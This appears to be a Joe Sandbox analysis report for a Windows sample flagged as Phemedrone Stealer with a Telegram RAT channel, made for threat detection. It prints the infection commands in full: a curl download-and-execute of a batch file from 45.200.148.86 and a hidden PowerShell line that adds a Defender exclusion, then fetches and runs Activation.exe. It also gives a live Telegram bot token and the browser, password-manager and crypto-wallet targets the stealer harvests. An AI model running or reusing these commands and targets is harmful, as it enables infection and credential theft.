Edit tour

Windows Analysis Report
rukT6hBo6P.exe

Overview

General Information

Sample name:	rukT6hBo6P.exe renamed because original name is a hash value
Original sample name:	db4ee2642140bd5f08d630af7ad59e0a3a24d46e20cae3fed455c8d0681016e4.exe
Analysis ID:	1568339
MD5:	59671c9ea5e5ccd0edd62d4eb3acdfe0
SHA1:	ee3cb7f16105ca3532f7382d4cd27f5d2d7e225f
SHA256:	db4ee2642140bd5f08d630af7ad59e0a3a24d46e20cae3fed455c8d0681016e4
Tags:	45-200-148-86exeuser-JAMESWT_MHT
Infos:

Detection

Phemedrone Stealer

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus detection for URL or domain

Detected unpacking (changes PE section rights)

Detected unpacking (overwrites its own PE header)

Found malware configuration

Multi AV Scanner detection for dropped file

Suricata IDS alerts for network traffic

Yara detected Generic Stealer

Yara detected Phemedrone Stealer

Yara detected Telegram RAT

AI detected suspicious sample

Adds a directory exclusion to Windows Defender

Hides threads from debuggers

Loading BitLocker PowerShell Module

PE file contains section with special chars

Powershell drops PE file

Queries sensitive disk information (via WMI, Win32_DiskDrive, often done to detect virtual machines)

Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)

Query firmware table information (likely to detect VMs)

Sample uses string decryption to hide its real strings

Sigma detected: Curl Download And Execute Combination

Sigma detected: Powershell Base64 Encoded MpPreference Cmdlet

Sigma detected: Script Interpreter Execution From Suspicious Folder

Sigma detected: Suspicious Script Execution From Temp Folder

Sigma detected: WScript or CScript Dropper

Suspicious execution chain found

Suspicious powershell command line found

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Tries to detect sandboxes and other dynamic analysis tools (window names)

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Uses the Telegram API (likely for C&C communication)

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Wscript starts Powershell (via cmd or directly)

Allocates memory with a write watch (potentially for evading sandboxes)

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Checks if the current process is being debugged

Contains capabilities to detect virtual machines

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Detected potential crypto function

Downloads executable code via HTTP

Drops PE files

Enables debug privileges

Entry point lies outside standard sections

Found WSH timer for Javascript or VBS script (likely evasive script)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found dropped PE file which has not been started or loaded

Found large amount of non-executed APIs

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

One or more processes crash

PE file contains an invalid checksum

PE file contains executable resources (Code or Archives)

PE file contains more sections than normal

PE file contains sections with non-standard names

Queries sensitive Operating System Information (via WMI, Win32_ComputerSystem, often done to detect virtual machines)

Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sample file is different than original file name gathered from version info

Sigma detected: Potential Binary Or Script Dropper Via PowerShell

Sigma detected: PowerShell Web Download

Sigma detected: Powershell Defender Exclusion

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Sigma detected: Usage Of Web Request Commands And Cmdlets

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Stores files to the Windows start menu directory

Uses 32bit PE files

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Classification

Process Tree

System is w10x64

rukT6hBo6P.exe (PID: 8064 cmdline: "C:\Users\user\Desktop\rukT6hBo6P.exe" MD5: 59671C9EA5E5CCD0EDD62D4EB3ACDFE0)

rukT6hBo6P.tmp (PID: 8120 cmdline: "C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp" /SL5="$20478,12507492,845824,C:\Users\user\Desktop\rukT6hBo6P.exe" MD5: 2148201238CF25C0F9A90442D38D82AC)

cmd.exe (PID: 7732 cmdline: "cmd.exe" /c start C:\Users\user\AppData\Local\Temp\is-MV7F6.tmp\edcf12dd-a024-4e17-9ac8-333ede06915f.vbs MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 7760 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

wscript.exe (PID: 5796 cmdline: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Local\Temp\is-MV7F6.tmp\edcf12dd-a024-4e17-9ac8-333ede06915f.vbs" MD5: FF00E0480075B095948000BDC66E81F0)

cmd.exe (PID: 5568 cmdline: "C:\Windows\System32\cmd.exe" /c curl -O http://45.200.148.86/edcf12dd-a024-4e17-9ac8-333ede06915f.bat && edcf12dd-a024-4e17-9ac8-333ede06915f.bat MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 5864 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

curl.exe (PID: 5924 cmdline: curl -O http://45.200.148.86/edcf12dd-a024-4e17-9ac8-333ede06915f.bat MD5: 44E5BAEEE864F1E9EDBE3986246AB37A)

powershell.exe (PID: 1264 cmdline: powershell -WindowStyle hidden Add-MpPreference -ExclusionPath $env:LOCALAPPDATA;cd $env:LOCALAPPDATA;Invoke-WebRequest http://45.200.148.86/Activation.exe -OutFile Activation.exe;./Activation.exe;exit MD5: C32CA4ACFCC635EC1EA6ED8A34DF5FAC)

WmiPrvSE.exe (PID: 8152 cmdline: C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding MD5: 60FF40CFD7FB8FE41EE4FE9AE5FE1C51)

Activation.exe (PID: 2044 cmdline: "C:\Users\user\AppData\Local\Activation.exe" MD5: AA3A94BA72728DF41A815B060F5E9C52)

WerFault.exe (PID: 2404 cmdline: C:\Windows\SysWOW64\WerFault.exe -u -p 2044 -s 2444 MD5: C31336C1EFC2CCB44B4326EA793040F2)

filezilla.exe (PID: 3688 cmdline: "C:\Program Files (x86)\Fzilla\filezilla.exe" MD5: 71E87D8F4AB33DD57BFF41F76C339E64)

cleanup

Malware Configuration

Threatname: Telegram RAT

{"C2 url": "https://api.telegram.org/bot7772275304:AAF3OSvWBzn5cIHkGD9ueBFz5ed91u-60-U/sendMessage"}

Yara Signatures

Memory Dumps

Source	Rule	Description	Author
0000000E.00000002.2069931701.00000000044ED000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_PhemedroneStealer	Yara detected Phemedrone Stealer	Joe Security
0000000E.00000002.2069931701.00000000044ED000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_GenericStealer_9	Yara detected Generic Stealer	Joe Security
0000000E.00000002.2064893036.0000000003455000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_PhemedroneStealer	Yara detected Phemedrone Stealer	Joe Security
0000000E.00000002.2064893036.000000000346C000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_PhemedroneStealer	Yara detected Phemedrone Stealer	Joe Security
0000000E.00000002.2069931701.0000000004393000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_PhemedroneStealer	Yara detected Phemedrone Stealer	Joe Security
0000000E.00000002.2069931701.0000000004393000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_GenericStealer_9	Yara detected Generic Stealer	Joe Security
0000000E.00000002.2064893036.000000000347A000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_PhemedroneStealer	Yara detected Phemedrone Stealer	Joe Security
0000000E.00000002.2069931701.00000000043F3000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_PhemedroneStealer	Yara detected Phemedrone Stealer	Joe Security
0000000E.00000002.2069931701.00000000043F3000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_GenericStealer_9	Yara detected Generic Stealer	Joe Security
0000000E.00000002.2064893036.0000000003392000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_PhemedroneStealer	Yara detected Phemedrone Stealer	Joe Security
0000000E.00000002.2064893036.0000000003392000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_GenericStealer_9	Yara detected Generic Stealer	Joe Security
0000000E.00000002.2069931701.0000000004475000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_PhemedroneStealer	Yara detected Phemedrone Stealer	Joe Security
0000000E.00000002.2069931701.0000000004475000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_GenericStealer_9	Yara detected Generic Stealer	Joe Security
0000000E.00000002.2064893036.00000000033A0000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_PhemedroneStealer	Yara detected Phemedrone Stealer	Joe Security
0000000E.00000002.2064893036.00000000033A0000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_GenericStealer_9	Yara detected Generic Stealer	Joe Security
Process Memory Space: Activation.exe PID: 2044	JoeSecurity_PhemedroneStealer	Yara detected Phemedrone Stealer	Joe Security
Process Memory Space: Activation.exe PID: 2044	JoeSecurity_GenericStealer_9	Yara detected Generic Stealer	Joe Security
decrypted.memstr	JoeSecurity_PhemedroneStealer	Yara detected Phemedrone Stealer	Joe Security
decrypted.memstr	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
Click to see the 14 entries

Sigma Signatures

System Summary

Sigma detected: Curl Download And Execute Combination

Source: Process started

Author: Sreeman, Nasreddine Bencherchali (Nextron Systems): Data: Command: "C:\Windows\System32\cmd.exe" /c curl -O http://45.200.148.86/edcf12dd-a024-4e17-9ac8-333ede06915f.bat && edcf12dd-a024-4e17-9ac8-333ede06915f.bat, CommandLine: "C:\Windows\System32\cmd.exe" /c curl -O http://45.200.148.86/edcf12dd-a024-4e17-9ac8-333ede06915f.bat && edcf12dd-a024-4e17-9ac8-333ede06915f.bat, CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\cmd.exe, NewProcessName: C:\Windows\SysWOW64\cmd.exe, OriginalFileName: C:\Windows\SysWOW64\cmd.exe, ParentCommandLine: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Local\Temp\is-MV7F6.tmp\edcf12dd-a024-4e17-9ac8-333ede06915f.vbs" , ParentImage: C:\Windows\SysWOW64\wscript.exe, ParentProcessId: 5796, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c curl -O http://45.200.148.86/edcf12dd-a024-4e17-9ac8-333ede06915f.bat && edcf12dd-a024-4e17-9ac8-333ede06915f.bat, ProcessId: 5568, ProcessName: cmd.exe

Sigma detected: Powershell Base64 Encoded MpPreference Cmdlet

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: powershell -WindowStyle hidden Add-MpPreference -ExclusionPath $env:LOCALAPPDATA;cd $env:LOCALAPPDATA;Invoke-WebRequest http://45.200.148.86/Activation.exe -OutFile Activation.exe;./Activation.exe;exit, CommandLine: powershell -WindowStyle hidden Add-MpPreference -ExclusionPath $env:LOCALAPPDATA;cd $env:LOCALAPPDATA;Invoke-WebRequest http://45.200.148.86/Activation.exe -OutFile Activation.exe;./Activation.exe;exit, CommandLine|base64offset|contains: ^, Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c curl -O http://45.200.148.86/edcf12dd-a024-4e17-9ac8-333ede06915f.bat && edcf12dd-a024-4e17-9ac8-333ede06915f.bat, ParentImage: C:\Windows\SysWOW64\cmd.exe, ParentProcessId: 5568, ParentProcessName: cmd.exe, ProcessCommandLine: powershell -WindowStyle hidden Add-MpPreference -ExclusionPath $env:LOCALAPPDATA;cd $env:LOCALAPPDATA;Invoke-WebRequest http://45.200.148.86/Activation.exe -OutFile Activation.exe;./Activation.exe;exit, ProcessId: 1264, ProcessName: powershell.exe

Sigma detected: Script Interpreter Execution From Suspicious Folder

Source: Process started

Author: Florian Roth (Nextron Systems), Nasreddine Bencherchali (Nextron Systems): Data: Command: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Local\Temp\is-MV7F6.tmp\edcf12dd-a024-4e17-9ac8-333ede06915f.vbs" , CommandLine: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Local\Temp\is-MV7F6.tmp\edcf12dd-a024-4e17-9ac8-333ede06915f.vbs" , CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\wscript.exe, NewProcessName: C:\Windows\SysWOW64\wscript.exe, OriginalFileName: C:\Windows\SysWOW64\wscript.exe, ParentCommandLine: "cmd.exe" /c start C:\Users\user\AppData\Local\Temp\is-MV7F6.tmp\edcf12dd-a024-4e17-9ac8-333ede06915f.vbs, ParentImage: C:\Windows\SysWOW64\cmd.exe, ParentProcessId: 7732, ParentProcessName: cmd.exe, ProcessCommandLine: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Local\Temp\is-MV7F6.tmp\edcf12dd-a024-4e17-9ac8-333ede06915f.vbs" , ProcessId: 5796, ProcessName: wscript.exe

Sigma detected: Suspicious Script Execution From Temp Folder

Source: Process started

Author: Florian Roth (Nextron Systems), Max Altgelt (Nextron Systems), Tim Shelton: Data: Command: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Local\Temp\is-MV7F6.tmp\edcf12dd-a024-4e17-9ac8-333ede06915f.vbs" , CommandLine: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Local\Temp\is-MV7F6.tmp\edcf12dd-a024-4e17-9ac8-333ede06915f.vbs" , CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\wscript.exe, NewProcessName: C:\Windows\SysWOW64\wscript.exe, OriginalFileName: C:\Windows\SysWOW64\wscript.exe, ParentCommandLine: "cmd.exe" /c start C:\Users\user\AppData\Local\Temp\is-MV7F6.tmp\edcf12dd-a024-4e17-9ac8-333ede06915f.vbs, ParentImage: C:\Windows\SysWOW64\cmd.exe, ParentProcessId: 7732, ParentProcessName: cmd.exe, ProcessCommandLine: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Local\Temp\is-MV7F6.tmp\edcf12dd-a024-4e17-9ac8-333ede06915f.vbs" , ProcessId: 5796, ProcessName: wscript.exe

Sigma detected: WScript or CScript Dropper

Source: Process started

Author: Margaritis Dimitrios (idea), Florian Roth (Nextron Systems), oscd.community: Data: Command: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Local\Temp\is-MV7F6.tmp\edcf12dd-a024-4e17-9ac8-333ede06915f.vbs" , CommandLine: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Local\Temp\is-MV7F6.tmp\edcf12dd-a024-4e17-9ac8-333ede06915f.vbs" , CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\wscript.exe, NewProcessName: C:\Windows\SysWOW64\wscript.exe, OriginalFileName: C:\Windows\SysWOW64\wscript.exe, ParentCommandLine: "cmd.exe" /c start C:\Users\user\AppData\Local\Temp\is-MV7F6.tmp\edcf12dd-a024-4e17-9ac8-333ede06915f.vbs, ParentImage: C:\Windows\SysWOW64\cmd.exe, ParentProcessId: 7732, ParentProcessName: cmd.exe, ProcessCommandLine: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Local\Temp\is-MV7F6.tmp\edcf12dd-a024-4e17-9ac8-333ede06915f.vbs" , ProcessId: 5796, ProcessName: wscript.exe

Sigma detected: Potential Binary Or Script Dropper Via PowerShell

Source: File created

Author: frack113, Nasreddine Bencherchali (Nextron Systems): Data: EventID: 11, Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ProcessId: 1264, TargetFilename: C:\Users\user\AppData\Local\Activation.exe

Sigma detected: PowerShell Web Download

Source: Process started

Sigma detected: Powershell Defender Exclusion

Source: Process started

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: powershell -WindowStyle hidden Add-MpPreference -ExclusionPath $env:LOCALAPPDATA;cd $env:LOCALAPPDATA;Invoke-WebRequest http://45.200.148.86/Activation.exe -OutFile Activation.exe;./Activation.exe;exit, CommandLine: powershell -WindowStyle hidden Add-MpPreference -ExclusionPath $env:LOCALAPPDATA;cd $env:LOCALAPPDATA;Invoke-WebRequest http://45.200.148.86/Activation.exe -OutFile Activation.exe;./Activation.exe;exit, CommandLine|base64offset|contains: ^, Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c curl -O http://45.200.148.86/edcf12dd-a024-4e17-9ac8-333ede06915f.bat && edcf12dd-a024-4e17-9ac8-333ede06915f.bat, ParentImage: C:\Windows\SysWOW64\cmd.exe, ParentProcessId: 5568, ParentProcessName: cmd.exe, ProcessCommandLine: powershell -WindowStyle hidden Add-MpPreference -ExclusionPath $env:LOCALAPPDATA;cd $env:LOCALAPPDATA;Invoke-WebRequest http://45.200.148.86/Activation.exe -OutFile Activation.exe;./Activation.exe;exit, ProcessId: 1264, ProcessName: powershell.exe

Sigma detected: Usage Of Web Request Commands And Cmdlets

Source: Process started

Author: James Pemberton / @4A616D6573, Endgame, JHasenbusch, oscd.community, Austin Songer @austinsonger: Data: Command: "C:\Windows\System32\cmd.exe" /c curl -O http://45.200.148.86/edcf12dd-a024-4e17-9ac8-333ede06915f.bat && edcf12dd-a024-4e17-9ac8-333ede06915f.bat, CommandLine: "C:\Windows\System32\cmd.exe" /c curl -O http://45.200.148.86/edcf12dd-a024-4e17-9ac8-333ede06915f.bat && edcf12dd-a024-4e17-9ac8-333ede06915f.bat, CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\cmd.exe, NewProcessName: C:\Windows\SysWOW64\cmd.exe, OriginalFileName: C:\Windows\SysWOW64\cmd.exe, ParentCommandLine: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Local\Temp\is-MV7F6.tmp\edcf12dd-a024-4e17-9ac8-333ede06915f.vbs" , ParentImage: C:\Windows\SysWOW64\wscript.exe, ParentProcessId: 5796, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c curl -O http://45.200.148.86/edcf12dd-a024-4e17-9ac8-333ede06915f.bat && edcf12dd-a024-4e17-9ac8-333ede06915f.bat, ProcessId: 5568, ProcessName: cmd.exe

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Source: Process started

Author: Michael Haag: Data: Command: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Local\Temp\is-MV7F6.tmp\edcf12dd-a024-4e17-9ac8-333ede06915f.vbs" , CommandLine: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Local\Temp\is-MV7F6.tmp\edcf12dd-a024-4e17-9ac8-333ede06915f.vbs" , CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\wscript.exe, NewProcessName: C:\Windows\SysWOW64\wscript.exe, OriginalFileName: C:\Windows\SysWOW64\wscript.exe, ParentCommandLine: "cmd.exe" /c start C:\Users\user\AppData\Local\Temp\is-MV7F6.tmp\edcf12dd-a024-4e17-9ac8-333ede06915f.vbs, ParentImage: C:\Windows\SysWOW64\cmd.exe, ParentProcessId: 7732, ParentProcessName: cmd.exe, ProcessCommandLine: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Local\Temp\is-MV7F6.tmp\edcf12dd-a024-4e17-9ac8-333ede06915f.vbs" , ProcessId: 5796, ProcessName: wscript.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell -WindowStyle hidden Add-MpPreference -ExclusionPath $env:LOCALAPPDATA;cd $env:LOCALAPPDATA;Invoke-WebRequest http://45.200.148.86/Activation.exe -OutFile Activation.exe;./Activation.exe;exit, CommandLine: powershell -WindowStyle hidden Add-MpPreference -ExclusionPath $env:LOCALAPPDATA;cd $env:LOCALAPPDATA;Invoke-WebRequest http://45.200.148.86/Activation.exe -OutFile Activation.exe;./Activation.exe;exit, CommandLine|base64offset|contains: ^, Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c curl -O http://45.200.148.86/edcf12dd-a024-4e17-9ac8-333ede06915f.bat && edcf12dd-a024-4e17-9ac8-333ede06915f.bat, ParentImage: C:\Windows\SysWOW64\cmd.exe, ParentProcessId: 5568, ParentProcessName: cmd.exe, ProcessCommandLine: powershell -WindowStyle hidden Add-MpPreference -ExclusionPath $env:LOCALAPPDATA;cd $env:LOCALAPPDATA;Invoke-WebRequest http://45.200.148.86/Activation.exe -OutFile Activation.exe;./Activation.exe;exit, ProcessId: 1264, ProcessName: powershell.exe

Suricata Signatures

ETPRO MALWARE Suspicious Zipped Filename in Outbound POST Request (screenshot.) M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-04T15:12:52.595755+0100	2843856	1	A Network Trojan was detected	192.168.2.10	49841	149.154.167.220	443	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus detection for URL or domain

Source: http://45.200.148.86/Activation.exe

Avira URL Cloud: Label: malware

Found malware configuration

Source: Activation.exe.2044.14.memstrmin

Malware Configuration Extractor: Telegram RAT {"C2 url": "https://api.telegram.org/bot7772275304:AAF3OSvWBzn5cIHkGD9ueBFz5ed91u-60-U/sendMessage"}

Multi AV Scanner detection for dropped file

Source: C:\Users\user\AppData\Local\Activation.exe

ReversingLabs: Detection: 42%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 97.0% probability

Sample uses string decryption to hide its real strings

Source: 14.2.Activation.exe.300000.0.unpack	String decryptor: OpenVPN
Source: 14.2.Activation.exe.300000.0.unpack	String decryptor: OpenVPN Connect
Source: 14.2.Activation.exe.300000.0.unpack	String decryptor: profiles
Source: 14.2.Activation.exe.300000.0.unpack	String decryptor: ovpn
Source: 14.2.Activation.exe.300000.0.unpack	String decryptor: VPN/OpenVpn/
Source: 14.2.Activation.exe.300000.0.unpack	String decryptor: ProtonVPN
Source: 14.2.Activation.exe.300000.0.unpack	String decryptor: ProtonVPN_
Source: 14.2.Activation.exe.300000.0.unpack	String decryptor: user.config
Source: 14.2.Activation.exe.300000.0.unpack	String decryptor: VPN/ProtonVPN/
Source: 14.2.Activation.exe.300000.0.unpack	String decryptor: \
Source: 14.2.Activation.exe.300000.0.unpack	String decryptor: SurfShark
Source: 14.2.Activation.exe.300000.0.unpack	String decryptor: Surfshark
Source: 14.2.Activation.exe.300000.0.unpack	String decryptor: *.dat
Source: 14.2.Activation.exe.300000.0.unpack	String decryptor: VPN/SurfShark/
Source: 14.2.Activation.exe.300000.0.unpack	String decryptor: 7772275304:AAF3OSvWBzn5cIHkGD9ueBFz5ed91u-60-U
Source: 14.2.Activation.exe.300000.0.unpack	String decryptor: -4567089584
Source: 14.2.Activation.exe.300000.0.unpack	String decryptor:
Source: 14.2.Activation.exe.300000.0.unpack	String decryptor: tr
Source: 14.2.Activation.exe.300000.0.unpack	String decryptor: Udofoge
Source: 14.2.Activation.exe.300000.0.unpack	String decryptor: .txt
Source: 14.2.Activation.exe.300000.0.unpack	String decryptor: Pekorojasecopycemonuxazivopenos
Source: 14.2.Activation.exe.300000.0.unpack	String decryptor: Passwords.txt
Source: 14.2.Activation.exe.300000.0.unpack	String decryptor:
Source: 14.2.Activation.exe.300000.0.unpack	String decryptor: Messengers/Discord/Tokens.txt
Source: 14.2.Activation.exe.300000.0.unpack	String decryptor:
Source: 14.2.Activation.exe.300000.0.unpack	String decryptor: Google Accounts/Tokens.txt
Source: 14.2.Activation.exe.300000.0.unpack	String decryptor: Chromium
Source: 14.2.Activation.exe.300000.0.unpack	String decryptor: User Data
Source: 14.2.Activation.exe.300000.0.unpack	String decryptor: 1.0.0.0
Source: 14.2.Activation.exe.300000.0.unpack	String decryptor: Local State
Source: 14.2.Activation.exe.300000.0.unpack	String decryptor: Network
Source: 14.2.Activation.exe.300000.0.unpack	String decryptor: Cookies
Source: 14.2.Activation.exe.300000.0.unpack	String decryptor: cookies
Source: 14.2.Activation.exe.300000.0.unpack	String decryptor: Web Data
Source: 14.2.Activation.exe.300000.0.unpack	String decryptor: autofill
Source: 14.2.Activation.exe.300000.0.unpack	String decryptor: Login Data
Source: 14.2.Activation.exe.300000.0.unpack	String decryptor: logins
Source: 14.2.Activation.exe.300000.0.unpack	String decryptor: token_service
Source: 14.2.Activation.exe.300000.0.unpack	String decryptor: credit_cards
Source: 14.2.Activation.exe.300000.0.unpack	String decryptor: Browser Data/
Source: 14.2.Activation.exe.300000.0.unpack	String decryptor: /Cookies[
Source: 14.2.Activation.exe.300000.0.unpack	String decryptor: ].txt
Source: 14.2.Activation.exe.300000.0.unpack	String decryptor:
Source: 14.2.Activation.exe.300000.0.unpack	String decryptor: /AutoFills[
Source: 14.2.Activation.exe.300000.0.unpack	String decryptor:
Source: 14.2.Activation.exe.300000.0.unpack	String decryptor: Local Storage
Source: 14.2.Activation.exe.300000.0.unpack	String decryptor: leveldb
Source: 14.2.Activation.exe.300000.0.unpack	String decryptor: CreditCards.txt
Source: 14.2.Activation.exe.300000.0.unpack	String decryptor: Profile*
Source: 14.2.Activation.exe.300000.0.unpack	String decryptor: Default
Source: 14.2.Activation.exe.300000.0.unpack	String decryptor: Authenticator
Source: 14.2.Activation.exe.300000.0.unpack	String decryptor: bhghoamapcdpbohphigoooaddinpkbai
Source: 14.2.Activation.exe.300000.0.unpack	String decryptor: EOS Authenticator
Source: 14.2.Activation.exe.300000.0.unpack	String decryptor: oeljdldpnmdbchonielidgobddffflal
Source: 14.2.Activation.exe.300000.0.unpack	String decryptor: BrowserPass
Source: 14.2.Activation.exe.300000.0.unpack	String decryptor: naepdomgkenhinolocfifgehidddafch
Source: 14.2.Activation.exe.300000.0.unpack	String decryptor: MYKI
Source: 14.2.Activation.exe.300000.0.unpack	String decryptor: bmikpgodpkclnkgmnpphehdgcimmided
Source: 14.2.Activation.exe.300000.0.unpack	String decryptor: Splikity
Source: 14.2.Activation.exe.300000.0.unpack	String decryptor: jhfjfclepacoldmjmkmdlmganfaalklb
Source: 14.2.Activation.exe.300000.0.unpack	String decryptor: CommonKey
Source: 14.2.Activation.exe.300000.0.unpack	String decryptor: chgfefjpcobfbnpmiokfjjaglahmnded
Source: 14.2.Activation.exe.300000.0.unpack	String decryptor: Zoho Vault
Source: 14.2.Activation.exe.300000.0.unpack	String decryptor: igkpcodhieompeloncfnbekccinhapdb
Source: 14.2.Activation.exe.300000.0.unpack	String decryptor: Norton Password Manager
Source: 14.2.Activation.exe.300000.0.unpack	String decryptor: admmjipmmciaobhojoghlmleefbicajg
Source: 14.2.Activation.exe.300000.0.unpack	String decryptor: Avira Password Manager
Source: 14.2.Activation.exe.300000.0.unpack	String decryptor: caljgklbbfbcjjanaijlacgncafpegll
Source: 14.2.Activation.exe.300000.0.unpack	String decryptor: Trezor Password Manager
Source: 14.2.Activation.exe.300000.0.unpack	String decryptor: imloifkgjagghnncjkhggdhalmcnfklk
Source: 14.2.Activation.exe.300000.0.unpack	String decryptor: MetaMask
Source: 14.2.Activation.exe.300000.0.unpack	String decryptor: nkbihfbeogaeaoehlefnkodbefgpgknn
Source: 14.2.Activation.exe.300000.0.unpack	String decryptor: TronLink
Source: 14.2.Activation.exe.300000.0.unpack	String decryptor: ibnejdfjmmkpcnlpebklmnkoeoihofec
Source: 14.2.Activation.exe.300000.0.unpack	String decryptor: BinanceChain
Source: 14.2.Activation.exe.300000.0.unpack	String decryptor: fhbohimaelbohpjbbldcngcnapndodjp
Source: 14.2.Activation.exe.300000.0.unpack	String decryptor: Coin98
Source: 14.2.Activation.exe.300000.0.unpack	String decryptor: aeachknmefphepccionboohckonoeemg
Source: 14.2.Activation.exe.300000.0.unpack	String decryptor: iWallet
Source: 14.2.Activation.exe.300000.0.unpack	String decryptor: kncchdigobghenbbaddojjnnaogfppfj
Source: 14.2.Activation.exe.300000.0.unpack	String decryptor: Wombat
Source: 14.2.Activation.exe.300000.0.unpack	String decryptor: amkmjjmmflddogmhpjloimipbofnfjih
Source: 14.2.Activation.exe.300000.0.unpack	String decryptor: NeoLine
Source: 14.2.Activation.exe.300000.0.unpack	String decryptor: cphhlgmgameodnhkjdmkpanlelnlohao
Source: 14.2.Activation.exe.300000.0.unpack	String decryptor: Terra Station
Source: 14.2.Activation.exe.300000.0.unpack	String decryptor: aiifbnbfobpmeekipheeijimdpnlpgpp
Source: 14.2.Activation.exe.300000.0.unpack	String decryptor: Keplr
Source: 14.2.Activation.exe.300000.0.unpack	String decryptor: dmkamcknogkgcdfhhbddcghachkejeap
Source: 14.2.Activation.exe.300000.0.unpack	String decryptor: Sollet
Source: 14.2.Activation.exe.300000.0.unpack	String decryptor: fhmfendgdocmcbmfikdcogofphimnkno
Source: 14.2.Activation.exe.300000.0.unpack	String decryptor: ICONex
Source: 14.2.Activation.exe.300000.0.unpack	String decryptor: flpiciilemghbmfalicajoolhkkenfel
Source: 14.2.Activation.exe.300000.0.unpack	String decryptor: KHC
